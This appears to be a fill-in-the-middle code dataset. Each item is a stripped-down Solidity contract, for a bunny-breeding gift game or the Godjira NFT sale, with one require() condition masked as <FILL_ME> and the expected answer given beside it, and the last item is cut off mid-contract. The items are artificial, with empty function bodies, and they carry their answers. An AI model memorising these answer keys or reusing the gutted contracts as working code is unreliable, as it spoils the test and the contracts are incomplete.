function getcoolduwn(uint32 _mother) public view returns(uint lastTime, uint cd, uint lefttime) {
}
}
| publicContract.ownerOf(_rabbitid)==msg.sender | 390,295 | publicContract.ownerOf(_rabbitid)==msg.sender |
null | pragma solidity ^0.4.23;
/*
* giff
* giff
* giff
* giff
* giff
* giff
* giff
* giff
* giff
*
* Author: Konstantin G...
* Telegram: @bunnygame (en)
* talk : https://bitcointalk.org/index.php?topic=5025885.0
* discord : https://discordapp.com/invite/G2jt4Fw
* email: [email protected]
* site : http://bunnycoin.co
*/
contract Ownable {
address owner;
constructor() public {
}
modifier onlyOwner() {
}
function transferOwner(address _add) public onlyOwner {
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
}
contract PublicInterface {
function transferFrom(address _from, address _to, uint32 _tokenId) public returns (bool);
function ownerOf(uint32 _tokenId) public view returns (address owner);
function isUIntPublic() public view returns(bool);
//function setAllowedChangeSex( uint32 _bunny, bool canBunny) public;
//function ownerOf(uint32 _tokenId) public view returns (address owner);
function getAllowedChangeSex(uint32 _bunny) public view returns(bool);
function getBirthCount(uint32 _bunny) public view returns(uint);
function getBirthLastTime(uint32 _bunny) public view returns(uint);
function getRabbitSirePrice(uint32 _bunny) public view returns(uint);
function setAllowedChangeSex( uint32 _bunny, bool canBunny) public;
function setRabbitSirePrice( uint32 _bunny, uint count) external;
}
contract Gift is Ownable {
event SendGift(address from, address to, uint32 bunnyId);
event ChengeSex(uint32 bunnyId, bool sex, uint256 price);
using SafeMath for uint256;
uint256 bigPrice = 0.003 ether;
function setBigPrice(uint _bigPrice) public onlyOwner() {
}
uint32[12] public cooldowns = [
uint32(1 minutes),
uint32(2 minutes),
uint32(4 minutes),
uint32(8 minutes),
uint32(16 minutes),
uint32(32 minutes),
uint32(1 hours),
uint32(2 hours),
uint32(4 hours),
uint32(8 hours),
uint32(16 hours),
uint32(1 days)
];
bool public pause = false;
uint public totalGift = 0;
uint public lastGiftTime = 0;
uint public commission_system = 5;
address public lastGift;
address public pubAddress;
PublicInterface publicContract;
constructor() public {
}
function transferContract(address _pubAddress) public onlyOwner {
}
function setPause() public onlyOwner {
}
function isPauseSave() public view returns(bool){
}
function getSirePrice(uint32 _tokenId) public view returns(uint) {
}
function setRabbitSirePrice(uint32 _rabbitid, uint price) public {
require(isPauseSave());
require(publicContract.ownerOf(_rabbitid) == msg.sender);
require(price > bigPrice);
require(<FILL_ME>)
require(publicContract.getRabbitSirePrice(_rabbitid) != price);
uint lastTime;
(lastTime,,) = getcoolduwn(_rabbitid);
require(now >= lastTime);
publicContract.setRabbitSirePrice(_rabbitid, price);
emit ChengeSex(_rabbitid, true, getSirePrice(_rabbitid));
}
function setSireStop(uint32 _rabbitid) public returns(bool) {
}
function sendGift(uint32 _bunnyId, address _to) public {
}
function ownerOf(uint32 _bunnyId) public view returns(address) {
}
function checkContract() public view returns(bool) {
}
function isUIntPublic() public view returns(bool) {
}
/**
* we get cooldown
*/
function getcoolduwn(uint32 _mother) public view returns(uint lastTime, uint cd, uint lefttime) {
}
}
| publicContract.getAllowedChangeSex(_rabbitid) | 390,295 | publicContract.getAllowedChangeSex(_rabbitid) |
null | pragma solidity ^0.4.23;
/*
* giff
* giff
* giff
* giff
* giff
* giff
* giff
* giff
* giff
*
* Author: Konstantin G...
* Telegram: @bunnygame (en)
* talk : https://bitcointalk.org/index.php?topic=5025885.0
* discord : https://discordapp.com/invite/G2jt4Fw
* email: [email protected]
* site : http://bunnycoin.co
*/
contract Ownable {
address owner;
constructor() public {
}
modifier onlyOwner() {
}
function transferOwner(address _add) public onlyOwner {
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
}
contract PublicInterface {
function transferFrom(address _from, address _to, uint32 _tokenId) public returns (bool);
function ownerOf(uint32 _tokenId) public view returns (address owner);
function isUIntPublic() public view returns(bool);
//function setAllowedChangeSex( uint32 _bunny, bool canBunny) public;
//function ownerOf(uint32 _tokenId) public view returns (address owner);
function getAllowedChangeSex(uint32 _bunny) public view returns(bool);
function getBirthCount(uint32 _bunny) public view returns(uint);
function getBirthLastTime(uint32 _bunny) public view returns(uint);
function getRabbitSirePrice(uint32 _bunny) public view returns(uint);
function setAllowedChangeSex( uint32 _bunny, bool canBunny) public;
function setRabbitSirePrice( uint32 _bunny, uint count) external;
}
contract Gift is Ownable {
event SendGift(address from, address to, uint32 bunnyId);
event ChengeSex(uint32 bunnyId, bool sex, uint256 price);
using SafeMath for uint256;
uint256 bigPrice = 0.003 ether;
function setBigPrice(uint _bigPrice) public onlyOwner() {
}
uint32[12] public cooldowns = [
uint32(1 minutes),
uint32(2 minutes),
uint32(4 minutes),
uint32(8 minutes),
uint32(16 minutes),
uint32(32 minutes),
uint32(1 hours),
uint32(2 hours),
uint32(4 hours),
uint32(8 hours),
uint32(16 hours),
uint32(1 days)
];
bool public pause = false;
uint public totalGift = 0;
uint public lastGiftTime = 0;
uint public commission_system = 5;
address public lastGift;
address public pubAddress;
PublicInterface publicContract;
constructor() public {
}
function transferContract(address _pubAddress) public onlyOwner {
}
function setPause() public onlyOwner {
}
function isPauseSave() public view returns(bool){
}
function getSirePrice(uint32 _tokenId) public view returns(uint) {
}
function setRabbitSirePrice(uint32 _rabbitid, uint price) public {
require(isPauseSave());
require(publicContract.ownerOf(_rabbitid) == msg.sender);
require(price > bigPrice);
require(publicContract.getAllowedChangeSex(_rabbitid));
require(<FILL_ME>)
uint lastTime;
(lastTime,,) = getcoolduwn(_rabbitid);
require(now >= lastTime);
publicContract.setRabbitSirePrice(_rabbitid, price);
emit ChengeSex(_rabbitid, true, getSirePrice(_rabbitid));
}
function setSireStop(uint32 _rabbitid) public returns(bool) {
}
function sendGift(uint32 _bunnyId, address _to) public {
}
function ownerOf(uint32 _bunnyId) public view returns(address) {
}
function checkContract() public view returns(bool) {
}
function isUIntPublic() public view returns(bool) {
}
/**
* we get cooldown
*/
function getcoolduwn(uint32 _mother) public view returns(uint lastTime, uint cd, uint lefttime) {
}
}
| publicContract.getRabbitSirePrice(_rabbitid)!=price | 390,295 | publicContract.getRabbitSirePrice(_rabbitid)!=price |
null | pragma solidity ^0.4.23;
/*
* giff
* giff
* giff
* giff
* giff
* giff
* giff
* giff
* giff
*
* Author: Konstantin G...
* Telegram: @bunnygame (en)
* talk : https://bitcointalk.org/index.php?topic=5025885.0
* discord : https://discordapp.com/invite/G2jt4Fw
* email: [email protected]
* site : http://bunnycoin.co
*/
contract Ownable {
address owner;
constructor() public {
}
modifier onlyOwner() {
}
function transferOwner(address _add) public onlyOwner {
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
}
contract PublicInterface {
function transferFrom(address _from, address _to, uint32 _tokenId) public returns (bool);
function ownerOf(uint32 _tokenId) public view returns (address owner);
function isUIntPublic() public view returns(bool);
//function setAllowedChangeSex( uint32 _bunny, bool canBunny) public;
//function ownerOf(uint32 _tokenId) public view returns (address owner);
function getAllowedChangeSex(uint32 _bunny) public view returns(bool);
function getBirthCount(uint32 _bunny) public view returns(uint);
function getBirthLastTime(uint32 _bunny) public view returns(uint);
function getRabbitSirePrice(uint32 _bunny) public view returns(uint);
function setAllowedChangeSex( uint32 _bunny, bool canBunny) public;
function setRabbitSirePrice( uint32 _bunny, uint count) external;
}
contract Gift is Ownable {
event SendGift(address from, address to, uint32 bunnyId);
event ChengeSex(uint32 bunnyId, bool sex, uint256 price);
using SafeMath for uint256;
uint256 bigPrice = 0.003 ether;
function setBigPrice(uint _bigPrice) public onlyOwner() {
}
uint32[12] public cooldowns = [
uint32(1 minutes),
uint32(2 minutes),
uint32(4 minutes),
uint32(8 minutes),
uint32(16 minutes),
uint32(32 minutes),
uint32(1 hours),
uint32(2 hours),
uint32(4 hours),
uint32(8 hours),
uint32(16 hours),
uint32(1 days)
];
bool public pause = false;
uint public totalGift = 0;
uint public lastGiftTime = 0;
uint public commission_system = 5;
address public lastGift;
address public pubAddress;
PublicInterface publicContract;
constructor() public {
}
function transferContract(address _pubAddress) public onlyOwner {
}
function setPause() public onlyOwner {
}
function isPauseSave() public view returns(bool){
}
function getSirePrice(uint32 _tokenId) public view returns(uint) {
}
function setRabbitSirePrice(uint32 _rabbitid, uint price) public {
}
function setSireStop(uint32 _rabbitid) public returns(bool) {
require(isPauseSave());
require(<FILL_ME>)
require(publicContract.ownerOf(_rabbitid) == msg.sender);
// require(rabbits[(_rabbitid-1)].role == 0);
publicContract.setRabbitSirePrice( _rabbitid, 0);
// deleteSire(_rabbitid);
emit ChengeSex(_rabbitid, false, 0);
return true;
}
function sendGift(uint32 _bunnyId, address _to) public {
}
function ownerOf(uint32 _bunnyId) public view returns(address) {
}
function checkContract() public view returns(bool) {
}
function isUIntPublic() public view returns(bool) {
}
/**
* we get cooldown
*/
function getcoolduwn(uint32 _mother) public view returns(uint lastTime, uint cd, uint lefttime) {
}
}
| publicContract.getRabbitSirePrice(_rabbitid)!=0 | 390,295 | publicContract.getRabbitSirePrice(_rabbitid)!=0 |
null | pragma solidity ^0.4.23;
/*
* giff
* giff
* giff
* giff
* giff
* giff
* giff
* giff
* giff
*
* Author: Konstantin G...
* Telegram: @bunnygame (en)
* talk : https://bitcointalk.org/index.php?topic=5025885.0
* discord : https://discordapp.com/invite/G2jt4Fw
* email: [email protected]
* site : http://bunnycoin.co
*/
contract Ownable {
address owner;
constructor() public {
}
modifier onlyOwner() {
}
function transferOwner(address _add) public onlyOwner {
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
}
contract PublicInterface {
function transferFrom(address _from, address _to, uint32 _tokenId) public returns (bool);
function ownerOf(uint32 _tokenId) public view returns (address owner);
function isUIntPublic() public view returns(bool);
//function setAllowedChangeSex( uint32 _bunny, bool canBunny) public;
//function ownerOf(uint32 _tokenId) public view returns (address owner);
function getAllowedChangeSex(uint32 _bunny) public view returns(bool);
function getBirthCount(uint32 _bunny) public view returns(uint);
function getBirthLastTime(uint32 _bunny) public view returns(uint);
function getRabbitSirePrice(uint32 _bunny) public view returns(uint);
function setAllowedChangeSex( uint32 _bunny, bool canBunny) public;
function setRabbitSirePrice( uint32 _bunny, uint count) external;
}
contract Gift is Ownable {
event SendGift(address from, address to, uint32 bunnyId);
event ChengeSex(uint32 bunnyId, bool sex, uint256 price);
using SafeMath for uint256;
uint256 bigPrice = 0.003 ether;
function setBigPrice(uint _bigPrice) public onlyOwner() {
}
uint32[12] public cooldowns = [
uint32(1 minutes),
uint32(2 minutes),
uint32(4 minutes),
uint32(8 minutes),
uint32(16 minutes),
uint32(32 minutes),
uint32(1 hours),
uint32(2 hours),
uint32(4 hours),
uint32(8 hours),
uint32(16 hours),
uint32(1 days)
];
bool public pause = false;
uint public totalGift = 0;
uint public lastGiftTime = 0;
uint public commission_system = 5;
address public lastGift;
address public pubAddress;
PublicInterface publicContract;
constructor() public {
}
function transferContract(address _pubAddress) public onlyOwner {
}
function setPause() public onlyOwner {
}
function isPauseSave() public view returns(bool){
}
function getSirePrice(uint32 _tokenId) public view returns(uint) {
}
function setRabbitSirePrice(uint32 _rabbitid, uint price) public {
}
function setSireStop(uint32 _rabbitid) public returns(bool) {
}
function sendGift(uint32 _bunnyId, address _to) public {
require(isPauseSave());
require(<FILL_ME>)
require(ownerOf(_bunnyId) == msg.sender);
require(_to != address(0));
publicContract.transferFrom(msg.sender, _to, _bunnyId);
publicContract.setAllowedChangeSex( _bunnyId, true);
lastGift = msg.sender;
totalGift = totalGift + 1;
lastGiftTime = block.timestamp;
emit SendGift(msg.sender, _to, _bunnyId);
}
function ownerOf(uint32 _bunnyId) public view returns(address) {
}
function checkContract() public view returns(bool) {
}
function isUIntPublic() public view returns(bool) {
}
/**
* we get cooldown
*/
function getcoolduwn(uint32 _mother) public view returns(uint lastTime, uint cd, uint lefttime) {
}
}
| checkContract() | 390,295 | checkContract() |
null | pragma solidity ^0.4.23;
/*
* giff
* giff
* giff
* giff
* giff
* giff
* giff
* giff
* giff
*
* Author: Konstantin G...
* Telegram: @bunnygame (en)
* talk : https://bitcointalk.org/index.php?topic=5025885.0
* discord : https://discordapp.com/invite/G2jt4Fw
* email: [email protected]
* site : http://bunnycoin.co
*/
contract Ownable {
address owner;
constructor() public {
}
modifier onlyOwner() {
}
function transferOwner(address _add) public onlyOwner {
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
}
contract PublicInterface {
function transferFrom(address _from, address _to, uint32 _tokenId) public returns (bool);
function ownerOf(uint32 _tokenId) public view returns (address owner);
function isUIntPublic() public view returns(bool);
//function setAllowedChangeSex( uint32 _bunny, bool canBunny) public;
//function ownerOf(uint32 _tokenId) public view returns (address owner);
function getAllowedChangeSex(uint32 _bunny) public view returns(bool);
function getBirthCount(uint32 _bunny) public view returns(uint);
function getBirthLastTime(uint32 _bunny) public view returns(uint);
function getRabbitSirePrice(uint32 _bunny) public view returns(uint);
function setAllowedChangeSex( uint32 _bunny, bool canBunny) public;
function setRabbitSirePrice( uint32 _bunny, uint count) external;
}
contract Gift is Ownable {
event SendGift(address from, address to, uint32 bunnyId);
event ChengeSex(uint32 bunnyId, bool sex, uint256 price);
using SafeMath for uint256;
uint256 bigPrice = 0.003 ether;
function setBigPrice(uint _bigPrice) public onlyOwner() {
}
uint32[12] public cooldowns = [
uint32(1 minutes),
uint32(2 minutes),
uint32(4 minutes),
uint32(8 minutes),
uint32(16 minutes),
uint32(32 minutes),
uint32(1 hours),
uint32(2 hours),
uint32(4 hours),
uint32(8 hours),
uint32(16 hours),
uint32(1 days)
];
bool public pause = false;
uint public totalGift = 0;
uint public lastGiftTime = 0;
uint public commission_system = 5;
address public lastGift;
address public pubAddress;
PublicInterface publicContract;
constructor() public {
}
function transferContract(address _pubAddress) public onlyOwner {
}
function setPause() public onlyOwner {
}
function isPauseSave() public view returns(bool){
}
function getSirePrice(uint32 _tokenId) public view returns(uint) {
}
function setRabbitSirePrice(uint32 _rabbitid, uint price) public {
}
function setSireStop(uint32 _rabbitid) public returns(bool) {
}
function sendGift(uint32 _bunnyId, address _to) public {
require(isPauseSave());
require(checkContract());
require(<FILL_ME>)
require(_to != address(0));
publicContract.transferFrom(msg.sender, _to, _bunnyId);
publicContract.setAllowedChangeSex( _bunnyId, true);
lastGift = msg.sender;
totalGift = totalGift + 1;
lastGiftTime = block.timestamp;
emit SendGift(msg.sender, _to, _bunnyId);
}
function ownerOf(uint32 _bunnyId) public view returns(address) {
}
function checkContract() public view returns(bool) {
}
function isUIntPublic() public view returns(bool) {
}
/**
* we get cooldown
*/
function getcoolduwn(uint32 _mother) public view returns(uint lastTime, uint cd, uint lefttime) {
}
}
| ownerOf(_bunnyId)==msg.sender | 390,295 | ownerOf(_bunnyId)==msg.sender |
"Invalid signature" | //SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
contract Gen2Sales is Ownable, whitelistChecker {
IERC721 Godjira2;
IERC721 Godjira1;
address CORE_TEAM_ADDRESS = 0xC79b099E83f6ECc8242f93d35782562b42c459F3;
address designatedSigner = 0x2141fc90F4d8114e8778447d7c19b5992F6A0611;
uint PRICE = 0.099 ether;
//TIMES
uint public PRIVATE_TIME = 1646787600;
uint public HOLDERS_TIME = 1646794800;
uint public WHITELIST_TIME = 1646881200;
uint public CLAIM_TIME = 1646967600;
//TOKEN TRACKERS
uint16 public privateSaleTracker = 340; //340-439
uint16 public genesisSaleTracker = 440; //440-1105
uint16 public whitelistSaleTracker = 1106; //1106-2852
uint16 public claimTracker = 2853; //2853-3332
//SALE MAPPINGS
mapping(address=>bool) public privateBought; //privatelisted > has bought
mapping(uint=>bool) public genesisBought; //genesis token > has bought
mapping(address=>bool) public whitelistBought; //whitelisted > has bought
//CLAIM MAPPINGS
mapping(uint=>bool) public genesisClaimed; //genesis token > has claimed
mapping(uint=>bool) public gen2Claimed; //gen 2 token > has claimed
bool public isPaused;
constructor(address _godjira2, address _godjira1) {
}
modifier isNotPaused{
}
//Region 1 - Sales
function privateSale(whitelisted memory whitelist) external payable isNotPaused {
require(<FILL_ME>)
require(msg.sender == whitelist.whiteListAddress, "not same user");
require(whitelist.isPrivateListed, "is not private listed");
require(!privateBought[msg.sender], "Already bought");
require(block.timestamp > PRIVATE_TIME, "Sale not started");
require(msg.value >= PRICE, "Paying too low");
privateBought[msg.sender] = true;
Godjira2.safeTransferFrom(CORE_TEAM_ADDRESS, msg.sender, privateSaleTracker);
privateSaleTracker++;
}
function whitelistSale(whitelisted memory whitelist) external payable isNotPaused{
}
function genesisSale(uint[] memory tokenId) external payable isNotPaused{
}
// Region 2 - Claims
function genesisClaim(uint[] memory tokenId) external isNotPaused{
}
function privateSalesClaim(uint[] memory tokenId) external isNotPaused{
}
function withdraw() external onlyOwner{
}
function pauseContract(bool _paused) external onlyOwner{
}
function modifyGodjira2(address _godjira) external onlyOwner{
}
function modifyGodjira1(address _godjira) external onlyOwner {
}
function modifySigner(address _signer) external onlyOwner {
}
function modifyCoreTeamAddress(address _core) external onlyOwner {
}
function modifyPrice(uint _price) external onlyOwner {
}
function modifyPrivateTime(uint _time) external onlyOwner {
}
function modifyWhitelistTime(uint _time) external onlyOwner {
}
function modifyHolderTime(uint _time) external onlyOwner {
}
function modifyClaimTime(uint _time) external onlyOwner {
}
}
| getSigner(whitelist)==designatedSigner,"Invalid signature" | 390,359 | getSigner(whitelist)==designatedSigner |
"is not private listed" | //SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
contract Gen2Sales is Ownable, whitelistChecker {
IERC721 Godjira2;
IERC721 Godjira1;
address CORE_TEAM_ADDRESS = 0xC79b099E83f6ECc8242f93d35782562b42c459F3;
address designatedSigner = 0x2141fc90F4d8114e8778447d7c19b5992F6A0611;
uint PRICE = 0.099 ether;
//TIMES
uint public PRIVATE_TIME = 1646787600;
uint public HOLDERS_TIME = 1646794800;
uint public WHITELIST_TIME = 1646881200;
uint public CLAIM_TIME = 1646967600;
//TOKEN TRACKERS
uint16 public privateSaleTracker = 340; //340-439
uint16 public genesisSaleTracker = 440; //440-1105
uint16 public whitelistSaleTracker = 1106; //1106-2852
uint16 public claimTracker = 2853; //2853-3332
//SALE MAPPINGS
mapping(address=>bool) public privateBought; //privatelisted > has bought
mapping(uint=>bool) public genesisBought; //genesis token > has bought
mapping(address=>bool) public whitelistBought; //whitelisted > has bought
//CLAIM MAPPINGS
mapping(uint=>bool) public genesisClaimed; //genesis token > has claimed
mapping(uint=>bool) public gen2Claimed; //gen 2 token > has claimed
bool public isPaused;
constructor(address _godjira2, address _godjira1) {
}
modifier isNotPaused{
}
//Region 1 - Sales
function privateSale(whitelisted memory whitelist) external payable isNotPaused {
require(getSigner(whitelist) == designatedSigner, "Invalid signature");
require(msg.sender == whitelist.whiteListAddress, "not same user");
require(<FILL_ME>)
require(!privateBought[msg.sender], "Already bought");
require(block.timestamp > PRIVATE_TIME, "Sale not started");
require(msg.value >= PRICE, "Paying too low");
privateBought[msg.sender] = true;
Godjira2.safeTransferFrom(CORE_TEAM_ADDRESS, msg.sender, privateSaleTracker);
privateSaleTracker++;
}
function whitelistSale(whitelisted memory whitelist) external payable isNotPaused{
}
function genesisSale(uint[] memory tokenId) external payable isNotPaused{
}
// Region 2 - Claims
function genesisClaim(uint[] memory tokenId) external isNotPaused{
}
function privateSalesClaim(uint[] memory tokenId) external isNotPaused{
}
function withdraw() external onlyOwner{
}
function pauseContract(bool _paused) external onlyOwner{
}
function modifyGodjira2(address _godjira) external onlyOwner{
}
function modifyGodjira1(address _godjira) external onlyOwner {
}
function modifySigner(address _signer) external onlyOwner {
}
function modifyCoreTeamAddress(address _core) external onlyOwner {
}
function modifyPrice(uint _price) external onlyOwner {
}
function modifyPrivateTime(uint _time) external onlyOwner {
}
function modifyWhitelistTime(uint _time) external onlyOwner {
}
function modifyHolderTime(uint _time) external onlyOwner {
}
function modifyClaimTime(uint _time) external onlyOwner {
}
}
| whitelist.isPrivateListed,"is not private listed" | 390,359 | whitelist.isPrivateListed |
"Already bought" | //SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
contract Gen2Sales is Ownable, whitelistChecker {
IERC721 Godjira2;
IERC721 Godjira1;
address CORE_TEAM_ADDRESS = 0xC79b099E83f6ECc8242f93d35782562b42c459F3;
address designatedSigner = 0x2141fc90F4d8114e8778447d7c19b5992F6A0611;
uint PRICE = 0.099 ether;
//TIMES
uint public PRIVATE_TIME = 1646787600;
uint public HOLDERS_TIME = 1646794800;
uint public WHITELIST_TIME = 1646881200;
uint public CLAIM_TIME = 1646967600;
//TOKEN TRACKERS
uint16 public privateSaleTracker = 340; //340-439
uint16 public genesisSaleTracker = 440; //440-1105
uint16 public whitelistSaleTracker = 1106; //1106-2852
uint16 public claimTracker = 2853; //2853-3332
//SALE MAPPINGS
mapping(address=>bool) public privateBought; //privatelisted > has bought
mapping(uint=>bool) public genesisBought; //genesis token > has bought
mapping(address=>bool) public whitelistBought; //whitelisted > has bought
//CLAIM MAPPINGS
mapping(uint=>bool) public genesisClaimed; //genesis token > has claimed
mapping(uint=>bool) public gen2Claimed; //gen 2 token > has claimed
bool public isPaused;
constructor(address _godjira2, address _godjira1) {
}
modifier isNotPaused{
}
//Region 1 - Sales
function privateSale(whitelisted memory whitelist) external payable isNotPaused {
require(getSigner(whitelist) == designatedSigner, "Invalid signature");
require(msg.sender == whitelist.whiteListAddress, "not same user");
require(whitelist.isPrivateListed, "is not private listed");
require(<FILL_ME>)
require(block.timestamp > PRIVATE_TIME, "Sale not started");
require(msg.value >= PRICE, "Paying too low");
privateBought[msg.sender] = true;
Godjira2.safeTransferFrom(CORE_TEAM_ADDRESS, msg.sender, privateSaleTracker);
privateSaleTracker++;
}
function whitelistSale(whitelisted memory whitelist) external payable isNotPaused{
}
function genesisSale(uint[] memory tokenId) external payable isNotPaused{
}
// Region 2 - Claims
function genesisClaim(uint[] memory tokenId) external isNotPaused{
}
function privateSalesClaim(uint[] memory tokenId) external isNotPaused{
}
function withdraw() external onlyOwner{
}
function pauseContract(bool _paused) external onlyOwner{
}
function modifyGodjira2(address _godjira) external onlyOwner{
}
function modifyGodjira1(address _godjira) external onlyOwner {
}
function modifySigner(address _signer) external onlyOwner {
}
function modifyCoreTeamAddress(address _core) external onlyOwner {
}
function modifyPrice(uint _price) external onlyOwner {
}
function modifyPrivateTime(uint _time) external onlyOwner {
}
function modifyWhitelistTime(uint _time) external onlyOwner {
}
function modifyHolderTime(uint _time) external onlyOwner {
}
function modifyClaimTime(uint _time) external onlyOwner {
}
}
| !privateBought[msg.sender],"Already bought" | 390,359 | !privateBought[msg.sender] |
"is private listed" | //SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
contract Gen2Sales is Ownable, whitelistChecker {
IERC721 Godjira2;
IERC721 Godjira1;
address CORE_TEAM_ADDRESS = 0xC79b099E83f6ECc8242f93d35782562b42c459F3;
address designatedSigner = 0x2141fc90F4d8114e8778447d7c19b5992F6A0611;
uint PRICE = 0.099 ether;
//TIMES
uint public PRIVATE_TIME = 1646787600;
uint public HOLDERS_TIME = 1646794800;
uint public WHITELIST_TIME = 1646881200;
uint public CLAIM_TIME = 1646967600;
//TOKEN TRACKERS
uint16 public privateSaleTracker = 340; //340-439
uint16 public genesisSaleTracker = 440; //440-1105
uint16 public whitelistSaleTracker = 1106; //1106-2852
uint16 public claimTracker = 2853; //2853-3332
//SALE MAPPINGS
mapping(address=>bool) public privateBought; //privatelisted > has bought
mapping(uint=>bool) public genesisBought; //genesis token > has bought
mapping(address=>bool) public whitelistBought; //whitelisted > has bought
//CLAIM MAPPINGS
mapping(uint=>bool) public genesisClaimed; //genesis token > has claimed
mapping(uint=>bool) public gen2Claimed; //gen 2 token > has claimed
bool public isPaused;
constructor(address _godjira2, address _godjira1) {
}
modifier isNotPaused{
}
//Region 1 - Sales
function privateSale(whitelisted memory whitelist) external payable isNotPaused {
}
function whitelistSale(whitelisted memory whitelist) external payable isNotPaused{
require(getSigner(whitelist) == designatedSigner,"Invalid signature");
require(msg.sender == whitelist.whiteListAddress,"not same user");
require(<FILL_ME>)
require(!whitelistBought[msg.sender],"Already bought");
require(block.timestamp > WHITELIST_TIME && block.timestamp < WHITELIST_TIME + 1 days,"Sale not started or has ended");
require(msg.value >= PRICE,"Paying too low");
whitelistBought[msg.sender] = true;
Godjira2.safeTransferFrom(CORE_TEAM_ADDRESS,msg.sender,whitelistSaleTracker);
whitelistSaleTracker++;
}
function genesisSale(uint[] memory tokenId) external payable isNotPaused{
}
// Region 2 - Claims
function genesisClaim(uint[] memory tokenId) external isNotPaused{
}
function privateSalesClaim(uint[] memory tokenId) external isNotPaused{
}
function withdraw() external onlyOwner{
}
function pauseContract(bool _paused) external onlyOwner{
}
function modifyGodjira2(address _godjira) external onlyOwner{
}
function modifyGodjira1(address _godjira) external onlyOwner {
}
function modifySigner(address _signer) external onlyOwner {
}
function modifyCoreTeamAddress(address _core) external onlyOwner {
}
function modifyPrice(uint _price) external onlyOwner {
}
function modifyPrivateTime(uint _time) external onlyOwner {
}
function modifyWhitelistTime(uint _time) external onlyOwner {
}
function modifyHolderTime(uint _time) external onlyOwner {
}
function modifyClaimTime(uint _time) external onlyOwner {
}
}
| !whitelist.isPrivateListed,"is private listed" | 390,359 | !whitelist.isPrivateListed |
"Already bought" | //SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
contract Gen2Sales is Ownable, whitelistChecker {
IERC721 Godjira2;
IERC721 Godjira1;
address CORE_TEAM_ADDRESS = 0xC79b099E83f6ECc8242f93d35782562b42c459F3;
address designatedSigner = 0x2141fc90F4d8114e8778447d7c19b5992F6A0611;
uint PRICE = 0.099 ether;
//TIMES
uint public PRIVATE_TIME = 1646787600;
uint public HOLDERS_TIME = 1646794800;
uint public WHITELIST_TIME = 1646881200;
uint public CLAIM_TIME = 1646967600;
//TOKEN TRACKERS
uint16 public privateSaleTracker = 340; //340-439
uint16 public genesisSaleTracker = 440; //440-1105
uint16 public whitelistSaleTracker = 1106; //1106-2852
uint16 public claimTracker = 2853; //2853-3332
//SALE MAPPINGS
mapping(address=>bool) public privateBought; //privatelisted > has bought
mapping(uint=>bool) public genesisBought; //genesis token > has bought
mapping(address=>bool) public whitelistBought; //whitelisted > has bought
//CLAIM MAPPINGS
mapping(uint=>bool) public genesisClaimed; //genesis token > has claimed
mapping(uint=>bool) public gen2Claimed; //gen 2 token > has claimed
bool public isPaused;
constructor(address _godjira2, address _godjira1) {
}
modifier isNotPaused{
}
//Region 1 - Sales
function privateSale(whitelisted memory whitelist) external payable isNotPaused {
}
function whitelistSale(whitelisted memory whitelist) external payable isNotPaused{
require(getSigner(whitelist) == designatedSigner,"Invalid signature");
require(msg.sender == whitelist.whiteListAddress,"not same user");
require(!whitelist.isPrivateListed,"is private listed");
require(<FILL_ME>)
require(block.timestamp > WHITELIST_TIME && block.timestamp < WHITELIST_TIME + 1 days,"Sale not started or has ended");
require(msg.value >= PRICE,"Paying too low");
whitelistBought[msg.sender] = true;
Godjira2.safeTransferFrom(CORE_TEAM_ADDRESS,msg.sender,whitelistSaleTracker);
whitelistSaleTracker++;
}
function genesisSale(uint[] memory tokenId) external payable isNotPaused{
}
// Region 2 - Claims
function genesisClaim(uint[] memory tokenId) external isNotPaused{
}
function privateSalesClaim(uint[] memory tokenId) external isNotPaused{
}
function withdraw() external onlyOwner{
}
function pauseContract(bool _paused) external onlyOwner{
}
function modifyGodjira2(address _godjira) external onlyOwner{
}
function modifyGodjira1(address _godjira) external onlyOwner {
}
function modifySigner(address _signer) external onlyOwner {
}
function modifyCoreTeamAddress(address _core) external onlyOwner {
}
function modifyPrice(uint _price) external onlyOwner {
}
function modifyPrivateTime(uint _time) external onlyOwner {
}
function modifyWhitelistTime(uint _time) external onlyOwner {
}
function modifyHolderTime(uint _time) external onlyOwner {
}
function modifyClaimTime(uint _time) external onlyOwner {
}
}
| !whitelistBought[msg.sender],"Already bought" | 390,359 | !whitelistBought[msg.sender] |
"Sender not owner" | //SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
contract Gen2Sales is Ownable, whitelistChecker {
IERC721 Godjira2;
IERC721 Godjira1;
address CORE_TEAM_ADDRESS = 0xC79b099E83f6ECc8242f93d35782562b42c459F3;
address designatedSigner = 0x2141fc90F4d8114e8778447d7c19b5992F6A0611;
uint PRICE = 0.099 ether;
//TIMES
uint public PRIVATE_TIME = 1646787600;
